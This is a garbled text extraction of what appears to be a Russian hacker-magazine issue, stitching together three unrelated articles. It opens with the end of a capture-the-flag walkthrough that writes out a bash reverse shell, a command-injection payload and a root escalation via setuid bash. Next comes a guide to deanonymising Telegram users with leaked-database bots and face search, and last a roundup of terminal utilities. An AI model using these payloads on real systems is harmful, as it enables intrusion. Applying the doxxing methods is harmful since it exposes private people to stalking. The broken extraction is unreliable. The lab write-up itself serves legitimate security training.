Но перед вызовом system принима емые параметры фильтру ются по черному списку символов . В списке нет кавычек, поэтому можно выполнить инъекцию команды . К примеру , команда sed может выполнять скрипт, указан ный
в параметре -e. В качестве исполняемо го скрипта используем реверс шелл
/tmp/shell.sh.
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.73/4321 0>&1
А для инъекции команды — следующу ю нагрузку .
1'+-e+"1e+/tmp/shell.sh"+/tmp/shell.sh+'
Оригиналь ный запрос
Изменен ный запрос
Ждем соединения на открытый листенер .
Сессия пользовате ля веб сервера
web → root
Теперь перейдем к файлу /var/www/private/leave_requests.csv.
Содер жимое файла leave_requests.csv
Запус тим в другой сессии программу pspy64, чтобы отследить действия
при изменении указан ного файла . Затем запишем в файл строку — тоже в формате CSV.
echo '111,222,333,444,555' >> leave_requests.csv
Логи pspy
В логах pspy видим вставку строки 111 в команду программы mail. Тут мы можем выполнить инъекци ю команды ОС, при этом команда выполняет ся от имени рута. Запустим скрипт, который присвои т S-бит файлу /bin/bash.
Когда у файла установ лен атрибу т setuid (S-атрибут ), обычный пользователь , запускающий этот файл, получае т повышение прав до пользовате ля — вла дельца файла в рамках запущенного процес са . После получения повышенных прав приложе ние может выполнять задачи, которые недоступны обычному пользовате лю . Из за возможнос ти состояния гонки многие операци онные системы игнориру ют S-атрибут , установ ленный shell-скриптам .
#!/bin/bash
chmod u+s /bin/bash
В первом поле CSV нужно передать строку " --exec="\!/tmp/lpe.sh".
echo '" --exec="\!/tmp/lpe.sh",2,3,4,5' >> leave_requests.csv
Логи pspy
Как видим, команда была выполнена , а значит , выполнен и наш скрипт.
Права файла /bin/bash
Запус каем bash в контек сте рута:
/bin/bash -p
Флаг рута
Машина захвачена !
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ПРИВАТНОСТЬ |
|||||
|
to |
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
g |
|
|
|
|||
|
|
|
|
n |
|
|
|
|
||
|
|
|
-x ha |
|
|
|
|
|
ShəLMā
Киберпанк, технокрыс и просто мерзкая личность.
schelma@protonmail.com
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
Ильдар Кудашев onlinesearchagency@gmail.co m
ПРОБИВАЕМ ПОЛЬЗОВАТЕЛЕЙ
TELEGRAM
ПО ОТКРЫТЫМ ИСТОЧНИКАМ
Если в интернете кто то не прав, у тебя есть ровно два вари анта. Первый — понять и забить, второй — найти обидчика и аккурат но начистить ему интерфейс. Но для начала этого
самого обидчика нужно как минимум вычислить и по воз можности деаноними зировать. О том, как это сделать в «Телеграме », мы расска жем в сегодняшней статье.
Несмотря на то что «Телеграм » считает ся безопасным и защищенным мес сендже ром , при желании в его недрах и глубинах можно отыскать большой объем информации о пользовате лях . А если подклю чить к поиску методы OSINT, то есть разведки по открытым источникам , сведений можно собрать еще больше . На помощь нам приду т специаль но обучен ные телеграм боты, поисковые системы и, конечно же, русская народная смекал ка .
|
Сбор информации |
о частной |
жизни |
граждан |
|||||||||||||
|
без их |
согласия |
незаконен , |
|
помни об этом. |
||||||||||||
|
В этой статье расска зыва |
ется |
о поиске в откры |
||||||||||||||
|
тых источниках данных , которые люди оставляют |
||||||||||||||||
|
в публичном |
доступе |
сами. Но в любом случае |
||||||||||||||
|
нужно соблюдать |
требова |
ния |
|
законодатель |
ства |
|||||||||||
|
и уважать |
право гражда н на сохранение |
их при |
||||||||||||||
|
ватности |
. Поэтому информация |
в статье предос |
||||||||||||||
|
тавлена исключитель |
но в ознакоми |
тель ных целях. |
||||||||||||||
|
Авторы и редакция |
|
не |
несут |
ответствен |
ности |
|||||||||||
|
за любой возможный |
вред, причинен |
ный |
исполь |
|||||||||||||
|
зованием |
материалов |
этой публикации |
. |
|
|
|
Любой поиск нужн о с чего то начинать. Пользователь «Телеграма » может, если захочет, сменить ник, имя и прочие данные своего аккаунта . Кроме одного : ID, или индивиду аль ного идентифика тора , который присваивает ся учетке при регистра ции и впоследс твии остается неизменным . Поэтому именн о его всегда использу ют в тех случаях , когда нужно указать на аккаунт максималь н о точно , он же однозначно идентифици руе т юзера в базах дан ных. Вот этот ID интересу юще го нас персонажа и следуе т вычислить в первую очередь .
ИДЕНТИФИКАТОР И ОСНОВНЫЕ ДАННЫЕ
Проще всег о это сделать с помощью бесплат ного бота @username_to_id_bot. Пользовать ся им до безобразия просто : отдав команду /start, отправь боту юзернейм , идентифика тор которого ты желаешь узнать, скопипас ти ссыл ку приглашение для чата или форвар дни сообщение от интересу юще го тебя пользовате ля . Существу е т еще частично платный бот @CheckID_AIDbot, который делае т все то же самое, что бесплат ный , но за деньги (и при этом еще безжалос тн о спами т рекламой ). Зачем он нужен — непонятно , наверное , бот предназна чен для тех, кто любит покупать по подписке то, что можно получить на халяву. Еще имеется специаль ное вложение скрипт, которое можно , например , запульнуть в чат: этот скрипт позволи т собрать иден тификаторы участни ков дискуссии .
Если ты хочешь узнать способы сбора имен учас тников чатов в «Телеграме », обязатель но про читай статью «Парсим телегу. Как собирать имена участни ков чатов в Telegram».
Теперь |
можн о |
попытаться |
отыскать |
полезную |
|
информацию , |
связан ную |
|||||||||||||
с полученным |
нами ID. Начать можно с высокотех нологич |
ной |
процеду |
ры , |
||||||||||||||||
известной |
в узких хакерских |
кругах под названи |
ем «гуглеж ». Действи |
тель |
но , |
|||||||||||||||
в индексе |
|
поисковых |
систем |
вполне |
могут встретить ся |
данные |
||||||||||||||
из каких нибудь утечек или публичных |
баз — для этого в качестве запроса |
|||||||||||||||||||
следуе т указать |
ID юзера «Телеграма |
» в кавычках . Если в «Гугле » и «Яндексе» |
||||||||||||||||||
не нашлось |
ничего полезного |
, к нашим услугам |
имеются |
многочис |
ленные |
|||||||||||||||
боты, большинс |
тв о которых, правда , предос тавля |
е т информацию |
на платной |
|||||||||||||||||
основе |
: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
•«Глаз Бога» — платный OSINT-бот, о котором «Хакер» уже писал. Бота регулярн о банят, поэтому он меняе т свое название — актуаль ную версию можн о найти на его официаль ном сайте ;
•@helper_inform_bot — боту можн о скормить запрос вида @XXXXXXX (где
XXXXXXX — ID пользовате ля Telegram), в ответ он выдаст фоточки из про
филя, имя юзера , никнейм и, если он привязан к профилю , номер телефо на и наименова ние операто ра . Также можно искать информацию по име ни, адресу электрон ной почты , ИНН и другим параметрам ;
•@QuickOSINT_bot — еще один бот из нашей предыду щей подборки , помимо ID, он способен искать по телефону , email, госномеру или VIN автомоби ля, номеру паспорта , СНИЛС или ИНН;
•@UsersSearchBot — платный бот со схожими возможнос тями, позволя ет бесплат но выполнить несколь ко запросов , чего в большинс тве случаев более чем достаточ но;
•@Zernerda_bot) — кроме поиска в Telegram может искать и по номеру телефона , автомоби ля, ФИО, учеткам «Вконтакте », «Одноклассни кам»,
в Twitter, Instagram, Facebook, по e-mail, паспор тным данным , ИНН, IP-
адресу , User-Agent и в приват ных базах. Бесплат но ищет пользовате лей, имеющих ся всписке друзей и знакомых с родствен никами в VK и «Одноклассни ках». В отличие от других ботов умее т определять дату создания набора стикеров или эмодзи .
Все эти боты ищут информаци ю в утекших базах данных , которыми щедро делятся с анониму сами всевоз можные интернет магазины , службы доставки и кривору кие админы популярных пабликов . Выяснив имя пользовате ля, его
номер |
телефона |
|
или |
email, можно |
|
повторить |
поиск |
с этими |
данными |
|||||||||
и получить дополнитель |
ные |
сведения |
, например |
известные |
пароли, учетки |
|||||||||||||
в социаль ных сетях, дату рождения |
, другие ники этого пользовате |
ля . |
|
|||||||||||||||
На следующем |
этапе можно попытаться найти что нибудь интерес ное |
|||||||||||||||||
с использовани |
ем |
специали |
зиро |
ван ных |
поисковых |
систем |
вроде |
|||||||||||
lyzem.com — это поисковик |
по открытым |
чатам, каналам, ботам Telegram |
||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
и сайту |
telegra.ph. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Lyzem
Резуль таты поиска , прямо скажем , получаются не слишком релевантны ми , но что то интерес ное с помощью этого сервиса найти можно . А вот еще три использующих технологии Google поисковика по «Телеграму », которые тоже могут оказать ся небесполез ны :
•xtea.io;
•TeleGaGo;
•IntelligenceX.
Ну |
и не следуе т забывать |
о поисковике |
telegcrack.com, который ищет |
|||||
|
|
|
|
|
|
|||
по |
заголовкам |
публикаций |
на сайте Telegra.ph. Этот инстру мен т больше |
|||||
полезен для сеошников |
, чем для исследова |
телей |
вроде нас, но пренеб регать |
|||||
им все таки не стоит . |
|
|
|
|
|
|
telegcrack.com
ПОИСК ПО НИКУ
Перехо дим к водным процеду рам поиску по нику, который нам удалось уста новить на предыду щем этапе . Для этого восполь зуем ся специали зиро ван ными ресурсами , позволя ющи ми узнать, на каких сайтах в интернете встре чается этот псевдоним или имя пользовате ля . Каждый такой инстру мент используе т собствен ну ю базу проверя емых платформ , поэтому лучше задей ствовать каждый из них по очереди — вдруг один сообщи т что то, о чем умол чат другие . Вот список самых полезных ресурсов в этой категории :
•@maigret_osint_bot — этот бот используе т базу, состоящу ю из более чем 3000 сайтов ;
•@SovaAppBot — бесплат ный бот для поиска информации из открытых источников по никней му, email, в социаль ной сети «Вконтакте » и на других площад ках;
•NaMeCheck — сайт, проверя ющий введен ное имя или ник более чем по 90 сайтам и 30 доменным зонам;
• Instantusername — позволя |
е т |
проверить |
, |
занято ли указан ное |
имя |
|||
|
|
|
|
|
||||
|
в популярных социаль ных сетях, на имиджбор |
дах и других публичных |
сер |
|||||
|
висах. Затем можн о просмотреть |
занятые учетки на каждом |
из этих сайтов |
|||||
|
вручную ; |
|
|
|
|
|
|
•NameCheckUp — аналог предыду щего сервиса : соцсетей здесь меньше , зато предлага ется провер ка по международ ным доменам (можно заодно зарегистри ровать парочку свобод ных);
•Namecheckr — еще один сервис , подобный двум предыду щим;
•SangMataInfo — бот, позволя ющий отследить истори ю форвардин га любого сообщения в «Телеграме ». Если форвар днуть ему сообщение , он покажет список пользовате лей, пересылав ших его до этого друг другу .
Имее т смысл поискать имя пользовате ля в сервисах для админис тра торов телеграм каналов и специалис тов по рекламе . Здесь иногда встречают ся упомина ния человека , его юзерней ма и ID. Также эти инстру мен ты полезны при исследова нии каналов и поиске их владель ца :
•telegramdb.org — база данных по телеграм каналам, содержи т сводную информаци ю о них и общую статис тику;
•telemetr.me — еще один каталог телеграм каналов для рекламщи ков, он может оказать ся полезен при поиске владель цев канала;
•tgstat.ru — сводная статис тика и аналити ка популярности и посещаемос ти каналов.
Есть одна интерес ная особен ность и у блог платформы «Яндекс Дзен»: она позволя е т владель цам телеграм каналов автомати чес ки настро ить репост своих публикаций . Нам же это, в свою очередь , дает возможность отыскать блог автора какого нибудь аноним ного телеграм канала и выяснить его ник. Для этог о нужн о скопиро вать текст поста из телеги и, заключив его в кавычки , погуглить . Ник будет отображать ся в самой ссылке : https://dzen.ru/ username. Если обнаружен ный поиском блог дублиру е т все посты из инте ресующе г о нас телеграм канала, вполне вероятно , что автор у них один и тот же. Описание странич ки в «Дзене » может также содержать аватар ку автора , его имя и иные полезные сведения .
Если тебе кажется , что ты нашел несколь ко аккаунтов юзера в «Телег раме», но не уверен , что все они принад лежа т ему, или ты подозрева ешь , что он является админом какого либо канала, можно помониторить изменение онлайн статуса этог о человека с помощью специаль ного инстру мен та под названи ем TelegramOnlineSpy. Тулза позволя е т отследить время захода пользовате ля в сеть с несколь ких аккаунтов , сопоставить его и сделать соот ветству ющие выводы.
Ну и напоследок не помешае т поискать информацию по нику пользовате ля в альтер нативных поисковиках , список которых ты можешь найти вот в этом посте . Как говорится , полезной информации много не бывает .
ВЫЯВЛЯЕМ ИНТЕРЕСЫ
Понима ние того, чем интересу ется тот или иной человек, позволи т составить более целостну ю картину его личности . Один из способов выяснить круг его интересов — собрать список чатов, в которых этот юзер состоит . Кроме того, в чатах и группах можн о отыскать сообщения пользовате ля и выяснить о нем что нибудь любопытное . Вот два бота, позволя ющие решить эту задачу:
•@ibhldr_bot;
•@telesint_bot.
Вступив в группу , в которой состои т интересу ющий нас пользователь , можно выгрузить истори ю сообщений с помощью функции «Экспорт истории чата» (она доступна в десктоп ной версии «Телеграма »). Для анализа этой истории лучше всег о использовать программу «Архивари ус 3000», которая позволя ет выискивать в переписке такие сущности , как номер телефона , адреса элек тронной почты , URL, IP-адреса , а также считать частоту их использования . Весьма полезная вещь, которая нередко помогае т находить забытые авто рами сообщений ссылки на свои блоги и личные кабинеты , давно потертые контакты и страницы в социаль ных сетях.
КНИГА ЛИЦ
Если тебе удалось раздобыть аватар ку или портре т интересу юще го тебя пер сонажа, имее т смысл поискать человека с этой фотографии (или похожего на него) в социаль ных сетях и различных пабликах . Еще можно составить спи сок юзеров , использующих одну и ту же аватар ку на разных сайтах , — воз можно, несколь к о таких учетных записей принад лежа т одному и тому же поль зователю . Вот инстру мен ты , которые помогут тебе решить эту задачу:
•FaceCheck — служба поиска по фото в зарубежных соцсетях ;
•Search4faces — то же самое, но по «Вконтакте » и «Одноклассни кам»;
•Pimeyes — качествен ный, но платный поиск по картинкам (в телеграм боте этог о сервиса можн о выполнить три бесплат ных поиска );
•ImageSearch.org — бесплат ный поиск похожих картинок в интернете ;
•Tineye.com — этот сервис в представ лениях не нуждает ся;
•Reverse Image Search — аналог Tineye;
•Karmadecay — поиск похожих изображений в Reddit.
ВЫВОДЫ
Представ ленный в этой статье список инстру мен тов , безусловно , далеко не исчерпывающий , но он может оказать ся крайне полезным в качестве отправной точки . Если ты регулярно пользуешь ся какими то другими сер висами для поиска информации о пользовате лях телеги, не забудь поделить ся ссылками в коммента риях .
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ТРЮКИ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
ИИ-ПОМОЩНИКИ, РАБОТА С JSON
И ПРИЯТНЫЕ МЕЛОЧИ, КОТОРЫЕ ПРИГОДЯТСЯ В РАБОТЕ
Соскучил |
ся по нашим подборкам |
утилит ? |
|
|
|
||||||||
|
|
|
|||||||||||
Сейчас |
исправим ! Сегодня я принес |
тебе |
|
|
|
||||||||
заморские |
диковинки , которые и код |
|
|
|
|||||||||
напишут, |
|
и |
отладят |
его, и |
расска жут, |
|
|
|
|||||
|
|
|
|
||||||||||
как работу правиль |
но сделать |
. А бонусом |
Польский Кот |
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|||
еще немного |
штук, которым ты и сам най |
|
|
|
|||||||||
дешь примене |
ние. Поехали ! |
|
|
|
|
|
|
Это уже шестая моя подборка утилит , облегчающих жизнь в мелочах. Бла годарные читатели продол жа ют открывать передо мной свои кладов ки , а я выношу оттуда и показыва ю на страницах «Хакера» самое лучшее .
Не забудь заглянуть в прошлые части . В первой мы рассмат ривали в основном сетевые утилиты , во второй — дашборды и прочие украшатель ства, в третьей я сконцен три ровал ся на жизни в Windows с WSL, четвертая
была для админис траторов Linux, а пятая — в основном про self-hosted-шту ки.
MOAR
Первый релиз странич ного просмот рщи ка less состоял ся в 1985 году. Сегод ня, спустя больше чем 35 лет, имее т смысл поискать ему замену. Встречай Moar — более современ ную альтер нативу less, написанную на Go.
Демонс тра ция работы Moar на примере собствен ного исходника
Moar умее т подсве чивать |
синтаксис |
кода, поддержи |
вае т UTF-8, инкремен |
||||||||||||||||||||
тальный |
поиск, поиск по регуляркам |
и автомати |
чес кое |
разархивиро |
вание |
. |
|||||||||||||||||
gz, .xz и .bz2. При этом разработ |
чик прилага |
е т усилия , чтобы Moar был пол |
|||||||||||||||||||||
ностью совместим |
с less и миграция |
не составля |
ла особого |
труда . |
|
|
|
||||||||||||||||
|
Для установ ки достаточ |
но скачать |
бинарник |
для |
своей платформы |
||||||||||||||||||
со страницы |
релизов, дать нужные |
права |
(chmod a+x moar-*) и скопиро |
вать |
|||||||||||||||||||
|
|
|
ну ю в $PATH: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
его в папку , прописан |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
sudo cp moar-* /usr/local/bin/moar
Чтобы сделать Moar просмот рщиком по умолчанию , добавь эту строку в свой
.zshrc (или .bashrc, если ты все еще сидишь на Bash):
export PAGER=/usr/local/bin/moar
AI-CLI
Часто гуглишь нужну ю команду и ругаешь себя, что не можешь запомнить ? Не беда, можн о и не запоминать ! С ai-cli тебе не понадобит ся переходить
в браузер и перекапывать десятки ответов на форумах: готовые решения будут появлять ся в терминале . А писать их будет известная нейросеть GPT-3.
ИИ помощник в деле
Чтобы начать использовать персональ ного ИИ консуль тан та , достаточ но сде лать следующие шаги:
1. Поставить Node.js.
2. Установить пакет ai-cli: npm i @abhagsain/ai-cli -g
3.Залоги ниться в OpenAI.
4.Сгенери ровать API-ключ на соответс твующей странице . Ключ нужн о сох ранить, больше его посмотреть не получится .
5. Выпол нить |
команду ai auth, после чего ввести сгенери |
рован |
ный |
|||
на прошлом |
шаге ключ (он не отобража |
ется |
при вводе , так что лучше ско |
|||
пировать |
и вставить ). |
|
|
|
|
Чтобы спросить что то у нейросети , достаточ но написать ai ask и дальше в кавычках вопрос на английском . Например :
ai ask "How to save xakep.ru main page to file?"
Тольк о имей в виду, что при слишком сложных запросах GPT-3 может и не понять, что ты от нее хочешь, и выдать не то, что нужно . Так что хотя бы прос матривай глазами команду , прежде чем ее выполнить (о чем программа нас честн о предуп реждает, когда показывае т ответ)!
Теперь о грустном — о цене. Она составля ет почти два цента за один зап рос, и это не очень хорошо, с учетом того, что Google и Stack Overfow бес платны . Фактичес ки единствен ное преиму щество ai-cli в скорос ти, с которой тебе доставля ется (возможно , правиль ный) ответ.
В описании программы перечислен о еще и автодопол нение команд, но оно и так есть в том же Zsh и многих других оболоч ках .
CLICKBAIT REMOVER FOR YOUTUBE
|
|
|
|
|
|
|
|
|
|
|
Настрой |
ки |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||
Многие |
авторы роликов на YouTube |
|
для привлечения |
внимания |
ставят |
|||||||||||||||||||||||||||
на обложку видео не реальный |
кадр, а кликбей тное |
непонятно что. В резуль |
||||||||||||||||||||||||||||||
тате весь YouTube покры т яркими картинка |
ми , а что за ними скрыто , неясно (и |
|||||||||||||||||||||||||||||||
без просмотра |
двух реклам |
и длинного |
вступления |
часто не узнать). |
|
|
|
|
|
|||||||||||||||||||||||
Браузер |
ное |
расширение |
Clickbait Remover for YouTube решае т эту проб |
|||||||||||||||||||||||||||||
лему, просто заменяя обложки кадрами |
из видео, а названия |
роликов пишет |
||||||||||||||||||||||||||||||
строчными |
|
буквами |
с заглавной |
, если изначаль |
но оно было набрано |
заг |
||||||||||||||||||||||||||
лавными . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Есть версии расширения |
для Chrome и для Firefox. Устанав лива |
ем , и клик |
||||||||||||||||||||||||||||||
бейт практичес |
ки исчезает |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
Не подумай только , что твой трафик |
начне т уходить |
на фоновое скачива |
|
|||||||||||||||||||||||||||||
ние видео. Дело в том, что у YouTube есть автомати |
чес кие сгенери |
рован |
ные |
|||||||||||||||||||||||||||||
миниатю ры и расширение |
просто получае т их в готовом виде. |
|
|
|
|
|
|
|
||||||||||||||||||||||||
Исходни |
ки Clickbait Remover доступны |
на GitHub. |
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
CLI-EXERCISES
Хоть в этой программе и нет искусствен ного интеллекта , она все равно при годится новичку , чтобы научиться работе в терминале . Вместо того чтобы спрашивать кажду ю мелочь у ИИ (что дорого и потенциаль но опасно ), можно посидеть какое то время с тренаже ром и научиться всему самостоятель но . Программа cli-exercises — это как раз такой тренажер , который учит работе с терминалом на примерах частых задач.
Сначала понадобит ся установить зависимос ти (python3, python3.10-venv и git), затем клониро вать репозиторий с проектом , и можно запускать :
$ python3 -m venv textual_apps
$ cd textual_apps
$ source bin/activate
$ pip install textual==0.5.0
$ git clone --depth 1 https://github.com/learnbyexample/TUI-apps.git
$ cd TUI-apps/CLI-Exercises
$ python cli_exercises.py
Список задач находится в файле questions.json. По умолчани ю в нем уже есть 40 заданий на работу с тексто выми файлами , но никто не запреща ет дописать туда свои, на любые темы.
Структура файла с заданиями
К каждой задаче есть ответ, который ты увидишь при вводе правиль ного решения или нажав Ctrl-S. Можно пропус кать (Ctrl-N) вопросы и возвра щать ся к ним позже (Ctrl-P).
JSON FX
Все мы знаем о jq (а если не знаем — идем и читаем про сам jq и песоч ницу с ним). Так вот, если jq — это редактор и поисковик по JSON, то FX — это просмот рщик. Работать в нем можно в том числе при помощи мыши.
FX удобн о отобража ет даже очень большие числа , а еще показывае т внизу экрана JSON path, который потом можно легко скормить jq или аналогич ной утилите .
Киллер фича: можн о фильтро вать данные выражениями на JavaScript или Python! Пример :
fx data.json '.filter(x => x.startsWith("xakep"))'
Ну и совсем уж мелочи: FX поддержи вае т темы (их можно поправить в файле theme.go), а выбираются они установ кой соответс тву ющей переменной окружения (что тоже удобно добавить в .zshrc):
export FX_THEME=8
Всег о поставля ется девять тем, их можно увидеть на скриншоте ниже.
Встроенные темы
Установить FX можн о из snap (пакет fx) или просто скачав бинарник со стра ницы релизов.
Если раньше я для просмотра JSON пользовал ся VS Code, то теперь для быстро г о просмотра использу ю только FX.
YQ
На JSON свет клином не сошелся , и один из его главных конкурен тов — фор
мат YAML (Yet Another Markup Language). И если для анализа и преобра зова
ния JSON часто использу ют jq, то для YAML есть yq.
Конеч но, никто не запреща ет применять sed, но это, во первых , лотерея, а во вторых , зачем мучиться с регулярками , если есть специаль ные инстру менты ?
Например , чтобы поправить сохранен ное имя пользовате ля в таком фай
ле:
users:
admin: admin
editor: xakep
corrector: autospellcheck
можн о использовать следующу ю команду :
cat xakepusers.yaml | yq '.users.corrector=chatgpt'
Пример выгляди т надуманным , но в скриптах такая адресная замена может быть полезна .
Чтобы установить yq, достаточ но одной команды :
wget https://github.com/mikefarah/yq/releases/latest/download/yq_
linux_amd64 -O /usr/bin/yq &&\
chmod +x /usr/bin/yq
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ТРЮКИ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
g |
|
|||
|
p |
|
|
c |
|
|
|
|
|
||
|
|
df |
-x |
|
n |
|
|
|
|
||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
|||||||
to |
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|||
|
|
p |
|
|
c |
|
|
|
|
||
|
|
|
df |
|
n |
e |
|
||||
|
|
|
|
-x ha |
|
|
|
|
|
ИИ-ПОМОЩНИКИ, РАБОТА С JSON
И ПРИЯТНЫЕ МЕЛОЧИ, КОТОРЫЕ ПРИГОДЯТСЯ В РАБОТЕ
У yq есть одна проблема : форматиро вание утилита переделыва ет , как ей нра вится , и пустые строки выкидывает . Некто vladimir259 придума л решение , которое позволи т сохранить пропус ки :
# Сделаем изменения и сохраним в новый файл
yq '.data.TEST="NewValue"' sample.yaml > sample.yaml.new
#Удалим только пустые строки, без обновления самих данных yq '.' sample.yaml > sample.yaml.noblanks
#Найдем сами полезные изменения
diff -B sample.yaml.noblanks sample.yaml.new > patch.file
# Применим их к оригиналу
patch sample.yaml patch.file
Подразуме вается, что, кроме самого yq, на твоей машине установ лены patch
и dif.
ADRENALINE
Название программы звучи т мощно , но на деле это простень кий сервис , который позволя е т скармли вать GPT-3 код с ошибками , чтобы нейросеть объясни ла , в чем заключа ется тот или иной баг. Она может даже попытаться исправить ошибки !
Чтобы восполь зовать ся «Адренали ном », нужно зайти на сайт проекта либо развернуть его у себя локально . Сервис бесплат ный , но требуе т ввода APIключа для OpenAI. Разработ чики клятвенно обещают , что ключ будет хранить ся локально , но, так это или нет, мы не знаем .
Кроме ключа , потребу ется ввести дефектный кусок кода на одном из 22 поддержи ваемых языков и ошибку , которую тебе выдае т компилятор
или интерпре татор. Потом жмешь Debug, и в окне справа должно появиться объясне ние. Магия!
TEETTY
Инстру мент teetty пригодит ся, когда нужно организо вать для программы фальшивый термина л и рулить вводом выводом через файлы . На скриншоте как раз пример такого использования : интерак тивная программа висит
в фоне, а ввод в нее подается в специаль ный хитрый файл. Аналогич но вывод отобража ется из другого файла . И конечно , эти файлы могут быть проб рошены через сеть или быть доступны ми не одному человеку .
Фактичес ки teetty — это оболоч ка, создающая фейковые stdin и stdout, которые ведут себя точно как настоящие . С их помощью можно даже соз давать клавиатур ные события. Например , отправить Ctrl-D, записав в вир туальный stdin симв ол 0x04, и таким образом завершить ввод.
Написан teetty на Rust и ставит ся через Cargo:
cargo install teetty
У программы есть два режима: сырой и для скриптов (--script-mode). Отли чаются они тем, что в сыром консоль эмулиру ется полноцен но , но stdout и stderr не разделены . Так работают постра нич ные просмот рщи ки , тексто вые редакторы и другие программы , которые рисую т целый экран. В скриптовом режиме консоль получается неполноцен ная , зато поток ошибок становит ся действи тель н о отдельным и его можно тоже куда нибудь направить .
TTOP
